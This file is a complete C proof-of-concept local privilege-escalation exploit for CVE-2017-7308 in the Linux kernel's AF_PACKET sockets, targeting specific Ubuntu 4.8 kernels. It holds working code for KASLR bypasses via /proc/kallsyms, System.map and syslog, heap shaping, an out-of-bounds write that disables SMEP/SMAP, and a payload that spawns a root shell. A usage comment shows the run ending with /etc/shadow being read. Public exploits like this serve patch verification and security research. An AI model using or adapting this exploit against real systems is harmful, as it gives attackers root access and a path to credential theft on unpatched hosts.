793 lines
19 KiB
C
793 lines
19 KiB
C
// A proof-of-concept local root exploit for CVE-2017-7308.
|
|
// Includes a SMEP & SMAP bypass.
|
|
// Tested on Ubuntu / Linux Mint:
|
|
// - 4.8.0-34-generic
|
|
// - 4.8.0-36-generic
|
|
// - 4.8.0-39-generic
|
|
// - 4.8.0-41-generic
|
|
// - 4.8.0-42-generic
|
|
// - 4.8.0-44-generic
|
|
// - 4.8.0-45-generic
|
|
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
|
//
|
|
// Usage:
|
|
// user@ubuntu:~$ uname -a
|
|
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
|
// user@ubuntu:~$ gcc pwn.c -o pwn
|
|
// user@ubuntu:~$ ./pwn
|
|
// [.] starting
|
|
// [.] system has 2 processors
|
|
// [.] checking kernel version
|
|
// [.] kernel version '4.8.0-41-generic' detected
|
|
// [~] done, version looks good
|
|
// [.] checking SMEP and SMAP
|
|
// [~] done, looks good
|
|
// [.] setting up namespace sandbox
|
|
// [~] done, namespace sandbox set up
|
|
// [.] KASLR bypass enabled, getting kernel addr
|
|
// [.] done, kernel text: ffffffff87000000
|
|
// [.] commit_creds: ffffffff870a5cf0
|
|
// [.] prepare_kernel_cred: ffffffff870a60e0
|
|
// [.] native_write_cr4: ffffffff87064210
|
|
// [.] padding heap
|
|
// [.] done, heap is padded
|
|
// [.] SMEP & SMAP bypass enabled, turning them off
|
|
// [.] done, SMEP & SMAP should be off now
|
|
// [.] executing get root payload 0x401516
|
|
// [.] done, should be root now
|
|
// [.] checking if we got root
|
|
// [+] got r00t ^_^
|
|
// root@ubuntu:/home/user# cat /etc/shadow
|
|
// root:!:17246:0:99999:7:::
|
|
// daemon:*:17212:0:99999:7:::
|
|
// bin:*:17212:0:99999:7:::
|
|
// ...
|
|
//
|
|
// Andrey Konovalov <andreyknvl@gmail.com>
|
|
// ---
|
|
// Updated by <bcoles@gmail.com>
|
|
// - support for systems with SMEP but no SMAP
|
|
// - check number of CPU cores
|
|
// - additional kernel targets
|
|
// - additional KASLR bypasses
|
|
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <assert.h>
|
|
#include <fcntl.h>
|
|
#include <stdarg.h>
|
|
#include <stdbool.h>
|
|
#include <stddef.h>
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sched.h>
|
|
|
|
#include <sys/ioctl.h>
|
|
#include <sys/klog.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/sysinfo.h>
|
|
#include <sys/types.h>
|
|
#include <sys/utsname.h>
|
|
#include <sys/wait.h>
|
|
|
|
#include <arpa/inet.h>
|
|
#include <linux/if_packet.h>
|
|
#include <linux/ip.h>
|
|
#include <linux/udp.h>
|
|
#include <netinet/if_ether.h>
|
|
#include <net/if.h>
|
|
|
|
#define DEBUG
|
|
|
|
#ifdef DEBUG
|
|
# define dprintf printf
|
|
#else
|
|
# define dprintf
|
|
#endif
|
|
|
|
#define ENABLE_KASLR_BYPASS 1
|
|
#define ENABLE_SMEP_SMAP_BYPASS 1
|
|
|
|
char *SHELL = "/bin/bash";
|
|
|
|
// Will be overwritten if ENABLE_KASLR_BYPASS
|
|
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
|
|
|
// Will be overwritten by detect_versions().
|
|
int kernel = -1;
|
|
|
|
struct kernel_info {
|
|
const char* version;
|
|
uint64_t commit_creds;
|
|
uint64_t prepare_kernel_cred;
|
|
uint64_t native_write_cr4;
|
|
};
|
|
|
|
struct kernel_info kernels[] = {
|
|
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
|
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
|
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
|
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
|
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
|
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
|
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
|
};
|
|
|
|
// Used to get root privileges.
|
|
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
|
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
|
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
|
|
|
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
|
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
|
|
|
#define KMALLOC_PAD 512
|
|
#define PAGEALLOC_PAD 1024
|
|
|
|
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
|
|
|
typedef uint32_t u32;
|
|
|
|
// $ pahole -C hlist_node ./vmlinux
|
|
struct hlist_node {
|
|
struct hlist_node * next; /* 0 8 */
|
|
struct hlist_node * * pprev; /* 8 8 */
|
|
};
|
|
|
|
// $ pahole -C timer_list ./vmlinux
|
|
struct timer_list {
|
|
struct hlist_node entry; /* 0 16 */
|
|
long unsigned int expires; /* 16 8 */
|
|
void (*function)(long unsigned int); /* 24 8 */
|
|
long unsigned int data; /* 32 8 */
|
|
u32 flags; /* 40 4 */
|
|
int start_pid; /* 44 4 */
|
|
void * start_site; /* 48 8 */
|
|
char start_comm[16]; /* 56 16 */
|
|
};
|
|
|
|
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
|
#define TIMER_OFFSET 896
|
|
|
|
// pakcet_sock->xmit
|
|
#define XMIT_OFFSET 1304
|
|
|
|
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
|
|
|
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
|
unsigned int frame_size, unsigned int block_nr,
|
|
unsigned int sizeof_priv, unsigned int timeout) {
|
|
int v = TPACKET_V3;
|
|
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
|
if (rv < 0) {
|
|
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
struct tpacket_req3 req;
|
|
memset(&req, 0, sizeof(req));
|
|
req.tp_block_size = block_size;
|
|
req.tp_frame_size = frame_size;
|
|
req.tp_block_nr = block_nr;
|
|
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
|
req.tp_retire_blk_tov = timeout;
|
|
req.tp_sizeof_priv = sizeof_priv;
|
|
req.tp_feature_req_word = 0;
|
|
|
|
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
|
if (rv < 0) {
|
|
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
|
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
|
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
|
if (s < 0) {
|
|
dprintf("[-] socket(AF_PACKET)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
|
sizeof_priv, timeout);
|
|
|
|
struct sockaddr_ll sa;
|
|
memset(&sa, 0, sizeof(sa));
|
|
sa.sll_family = PF_PACKET;
|
|
sa.sll_protocol = htons(ETH_P_ALL);
|
|
sa.sll_ifindex = if_nametoindex("lo");
|
|
sa.sll_hatype = 0;
|
|
sa.sll_pkttype = 0;
|
|
sa.sll_halen = 0;
|
|
|
|
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
|
if (rv < 0) {
|
|
dprintf("[-] bind(AF_PACKET)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return s;
|
|
}
|
|
|
|
void packet_socket_send(int s, char *buffer, int size) {
|
|
struct sockaddr_ll sa;
|
|
memset(&sa, 0, sizeof(sa));
|
|
sa.sll_ifindex = if_nametoindex("lo");
|
|
sa.sll_halen = ETH_ALEN;
|
|
|
|
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
|
sizeof(sa)) < 0) {
|
|
dprintf("[-] sendto(SOCK_RAW)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
void loopback_send(char *buffer, int size) {
|
|
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
|
if (s == -1) {
|
|
dprintf("[-] socket(SOCK_RAW)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
packet_socket_send(s, buffer, size);
|
|
}
|
|
|
|
int packet_sock_kmalloc() {
|
|
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
|
if (s == -1) {
|
|
dprintf("[-] socket(SOCK_DGRAM)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
return s;
|
|
}
|
|
|
|
void packet_sock_timer_schedule(int s, int timeout) {
|
|
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
|
}
|
|
|
|
void packet_sock_id_match_trigger(int s) {
|
|
char buffer[16];
|
|
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
|
|
|
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
|
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
|
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
|
|
|
#define V3_ALIGNMENT (8)
|
|
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
|
|
|
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
|
#define IP_HDR_LEN sizeof(struct iphdr)
|
|
#define UDP_HDR_LEN sizeof(struct udphdr)
|
|
|
|
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
|
|
|
int oob_setup(int offset) {
|
|
unsigned int maclen = ETH_HDR_LEN;
|
|
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
|
(maclen < 16 ? 16 : maclen));
|
|
unsigned int macoff = netoff - maclen;
|
|
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
|
0x8000 - BLK_HDR_LEN - macoff + offset;
|
|
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
|
}
|
|
|
|
void oob_write(char *buffer, int size) {
|
|
loopback_send(buffer, size);
|
|
}
|
|
|
|
void oob_timer_execute(void *func, unsigned long arg) {
|
|
oob_setup(2048 + TIMER_OFFSET - 8);
|
|
|
|
int i;
|
|
for (i = 0; i < 32; i++) {
|
|
int timer = packet_sock_kmalloc();
|
|
packet_sock_timer_schedule(timer, 1000);
|
|
}
|
|
|
|
char buffer[2048];
|
|
memset(&buffer[0], 0, sizeof(buffer));
|
|
|
|
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
|
timer->function = func;
|
|
timer->data = arg;
|
|
timer->flags = 1;
|
|
|
|
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
|
|
|
sleep(1);
|
|
}
|
|
|
|
void oob_id_match_execute(void *func) {
|
|
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
|
|
|
int ps[32];
|
|
|
|
int i;
|
|
for (i = 0; i < 32; i++)
|
|
ps[i] = packet_sock_kmalloc();
|
|
|
|
char buffer[2048];
|
|
memset(&buffer[0], 0, 2048);
|
|
|
|
void **xmit = (void **)&buffer[64];
|
|
*xmit = func;
|
|
|
|
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
|
|
|
for (i = 0; i < 32; i++)
|
|
packet_sock_id_match_trigger(ps[i]);
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
|
|
|
void kmalloc_pad(int count) {
|
|
int i;
|
|
for (i = 0; i < count; i++)
|
|
packet_sock_kmalloc();
|
|
}
|
|
|
|
void pagealloc_pad(int count) {
|
|
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
|
|
|
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
|
|
|
void get_root_payload(void) {
|
|
((_commit_creds)(COMMIT_CREDS))(
|
|
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
|
);
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
|
|
|
#define CHUNK_SIZE 1024
|
|
|
|
int read_file(const char* file, char* buffer, int max_length) {
|
|
int f = open(file, O_RDONLY);
|
|
if (f == -1)
|
|
return -1;
|
|
int bytes_read = 0;
|
|
while (true) {
|
|
int bytes_to_read = CHUNK_SIZE;
|
|
if (bytes_to_read > max_length - bytes_read)
|
|
bytes_to_read = max_length - bytes_read;
|
|
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
|
if (rv == -1)
|
|
return -1;
|
|
bytes_read += rv;
|
|
if (rv == 0)
|
|
return bytes_read;
|
|
}
|
|
}
|
|
|
|
void get_kernel_version(char* output, int max_length) {
|
|
struct utsname u;
|
|
int rv = uname(&u);
|
|
if (rv != 0) {
|
|
dprintf("[-] uname())\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
assert(strlen(u.release) <= max_length);
|
|
strcpy(&output[0], u.release);
|
|
}
|
|
|
|
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
|
|
|
#define KERNEL_VERSION_LENGTH 32
|
|
|
|
void detect_versions() {
|
|
char version[KERNEL_VERSION_LENGTH];
|
|
|
|
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
|
|
|
int i;
|
|
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
|
if (strcmp(&version[0], kernels[i].version) == 0) {
|
|
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
|
kernel = i;
|
|
return;
|
|
}
|
|
}
|
|
|
|
dprintf("[-] kernel version not recognized\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
#define PROC_CPUINFO_LENGTH 4096
|
|
|
|
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
|
int smap_smep_enabled() {
|
|
char buffer[PROC_CPUINFO_LENGTH];
|
|
char* path = "/proc/cpuinfo";
|
|
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
|
if (length == -1) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
int rv = 0;
|
|
char* found = memmem(&buffer[0], length, "smep", 4);
|
|
if (found != NULL)
|
|
rv += 1;
|
|
found = memmem(&buffer[0], length, "smap", 4);
|
|
if (found != NULL)
|
|
rv += 2;
|
|
return rv;
|
|
}
|
|
|
|
void check_smep_smap() {
|
|
int rv = smap_smep_enabled();
|
|
|
|
#if !ENABLE_SMEP_SMAP_BYPASS
|
|
if (rv >= 1) {
|
|
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
#endif
|
|
|
|
switch(rv) {
|
|
case 1: // SMEP
|
|
CR4_DESIRED_VALUE = 0x406e0ul;
|
|
break;
|
|
case 2: // SMAP
|
|
CR4_DESIRED_VALUE = 0x407f0ul;
|
|
break;
|
|
case 3: // SMEP and SMAP
|
|
CR4_DESIRED_VALUE = 0x407f0ul;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
|
|
|
|
#define SYSLOG_ACTION_READ_ALL 3
|
|
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
|
|
|
unsigned long get_kernel_addr_syslog() {
|
|
dprintf("[.] trying syslog...\n");
|
|
|
|
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
|
if (size == -1) {
|
|
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
size = (size / getpagesize() + 1) * getpagesize();
|
|
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
|
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
|
|
|
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
|
if (size == -1) {
|
|
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
const char *needle1 = "Freeing SMP";
|
|
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
|
if (substr == NULL) {
|
|
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
for (size = 0; substr[size] != '\n'; size++);
|
|
|
|
const char *needle2 = "ffff";
|
|
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
|
if (substr == NULL) {
|
|
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
char *endptr = &substr[16];
|
|
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
|
|
|
r &= 0xfffffffffff00000ul;
|
|
r -= 0x1000000ul;
|
|
|
|
return r;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr_kallsyms() {
|
|
FILE *f;
|
|
unsigned long addr = 0;
|
|
char dummy;
|
|
char sname[256];
|
|
char* name = "startup_64";
|
|
char* path = "/proc/kallsyms";
|
|
|
|
dprintf("[.] trying %s...\n", path);
|
|
f = fopen(path, "r");
|
|
if (f == NULL) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
return 0;
|
|
}
|
|
|
|
int ret = 0;
|
|
while (ret != EOF) {
|
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
|
if (ret == 0) {
|
|
fscanf(f, "%s\n", sname);
|
|
continue;
|
|
}
|
|
if (!strcmp(name, sname)) {
|
|
fclose(f);
|
|
return addr;
|
|
}
|
|
}
|
|
|
|
fclose(f);
|
|
dprintf("[-] kernel base not found in %s\n", path);
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr_sysmap() {
|
|
FILE *f;
|
|
unsigned long addr = 0;
|
|
char path[512] = "/boot/System.map-";
|
|
char version[32];
|
|
get_kernel_version(&version[0], 32);
|
|
strcat(path, &version[0]);
|
|
dprintf("[.] trying %s...\n", path);
|
|
f = fopen(path, "r");
|
|
if (f == NULL) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
return 0;
|
|
}
|
|
|
|
char dummy;
|
|
char sname[256];
|
|
char* name = "startup_64";
|
|
int ret = 0;
|
|
while (ret != EOF) {
|
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
|
if (ret == 0) {
|
|
fscanf(f, "%s\n", sname);
|
|
continue;
|
|
}
|
|
if (!strcmp(name, sname)) {
|
|
fclose(f);
|
|
return addr;
|
|
}
|
|
}
|
|
|
|
fclose(f);
|
|
dprintf("[-] kernel base not found in %s\n", path);
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr() {
|
|
unsigned long addr = 0;
|
|
|
|
addr = get_kernel_addr_kallsyms();
|
|
if (addr) return addr;
|
|
|
|
addr = get_kernel_addr_sysmap();
|
|
if (addr) return addr;
|
|
|
|
addr = get_kernel_addr_syslog();
|
|
if (addr) return addr;
|
|
|
|
dprintf("[-] KASLR bypass failed\n");
|
|
exit(EXIT_FAILURE);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
|
|
|
void check_procs() {
|
|
int min_procs = 2;
|
|
|
|
int nprocs = 0;
|
|
nprocs = get_nprocs_conf();
|
|
|
|
if (nprocs < min_procs) {
|
|
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
dprintf("[.] system has %d processors\n", nprocs);
|
|
}
|
|
|
|
void exec_shell() {
|
|
int fd;
|
|
|
|
fd = open("/proc/1/ns/net", O_RDONLY);
|
|
if (fd == -1) {
|
|
dprintf("error opening /proc/1/ns/net\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (setns(fd, CLONE_NEWNET) == -1) {
|
|
dprintf("error calling setns\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
system(SHELL);
|
|
}
|
|
|
|
void fork_shell() {
|
|
pid_t rv;
|
|
|
|
rv = fork();
|
|
if (rv == -1) {
|
|
dprintf("[-] fork()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (rv == 0) {
|
|
exec_shell();
|
|
}
|
|
}
|
|
|
|
bool is_root() {
|
|
// We can't simple check uid, since we're running inside a namespace
|
|
// with uid set to 0. Try opening /etc/shadow instead.
|
|
int fd = open("/etc/shadow", O_RDONLY);
|
|
if (fd == -1)
|
|
return false;
|
|
close(fd);
|
|
return true;
|
|
}
|
|
|
|
void check_root() {
|
|
dprintf("[.] checking if we got root\n");
|
|
|
|
if (!is_root()) {
|
|
dprintf("[-] something went wrong =(\n");
|
|
return;
|
|
}
|
|
|
|
dprintf("[+] got r00t ^_^\n");
|
|
|
|
// Fork and exec instead of just doing the exec to avoid potential
|
|
// memory corruptions when closing packet sockets.
|
|
fork_shell();
|
|
}
|
|
|
|
bool write_file(const char* file, const char* what, ...) {
|
|
char buf[1024];
|
|
va_list args;
|
|
va_start(args, what);
|
|
vsnprintf(buf, sizeof(buf), what, args);
|
|
va_end(args);
|
|
buf[sizeof(buf) - 1] = 0;
|
|
int len = strlen(buf);
|
|
|
|
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
|
if (fd == -1)
|
|
return false;
|
|
if (write(fd, buf, len) != len) {
|
|
close(fd);
|
|
return false;
|
|
}
|
|
close(fd);
|
|
return true;
|
|
}
|
|
|
|
void setup_sandbox() {
|
|
int real_uid = getuid();
|
|
int real_gid = getgid();
|
|
|
|
if (unshare(CLONE_NEWUSER) != 0) {
|
|
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (unshare(CLONE_NEWNET) != 0) {
|
|
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (!write_file("/proc/self/setgroups", "deny")) {
|
|
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
|
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
|
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
cpu_set_t my_set;
|
|
CPU_ZERO(&my_set);
|
|
CPU_SET(0, &my_set);
|
|
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
|
dprintf("[-] sched_setaffinity()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (system("/sbin/ifconfig lo up") != 0) {
|
|
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
if (argc > 1) SHELL = argv[1];
|
|
|
|
dprintf("[.] starting\n");
|
|
|
|
check_procs();
|
|
|
|
dprintf("[.] checking kernel version\n");
|
|
detect_versions();
|
|
dprintf("[~] done, version looks good\n");
|
|
|
|
dprintf("[.] checking SMEP and SMAP\n");
|
|
check_smep_smap();
|
|
dprintf("[~] done, looks good\n");
|
|
|
|
pid_t pid = fork();
|
|
if (pid == -1) {
|
|
dprintf("[-] fork()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (pid != 0) {
|
|
dprintf("[.] performing exploit...\n");
|
|
return 0;
|
|
}
|
|
|
|
dprintf("[.] setting up namespace sandbox\n");
|
|
setup_sandbox();
|
|
dprintf("[~] done, namespace sandbox set up\n");
|
|
|
|
#if ENABLE_KASLR_BYPASS
|
|
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
|
KERNEL_BASE = get_kernel_addr();
|
|
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
|
#endif
|
|
|
|
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
|
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
|
|
|
#if ENABLE_SMEP_SMAP_BYPASS
|
|
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
|
|
#endif
|
|
|
|
dprintf("[.] padding heap\n");
|
|
kmalloc_pad(KMALLOC_PAD);
|
|
pagealloc_pad(PAGEALLOC_PAD);
|
|
dprintf("[.] done, heap is padded\n");
|
|
|
|
#if ENABLE_SMEP_SMAP_BYPASS
|
|
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
|
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
|
dprintf("[.] done, SMEP & SMAP should be off now\n");
|
|
#endif
|
|
|
|
dprintf("[.] executing get root payload %p\n", &get_root_payload);
|
|
oob_id_match_execute((void *)&get_root_payload);
|
|
dprintf("[.] done, should be root now\n");
|
|
|
|
check_root();
|
|
|
|
while (1) sleep(1000);
|
|
|
|
return 0;
|
|
}
|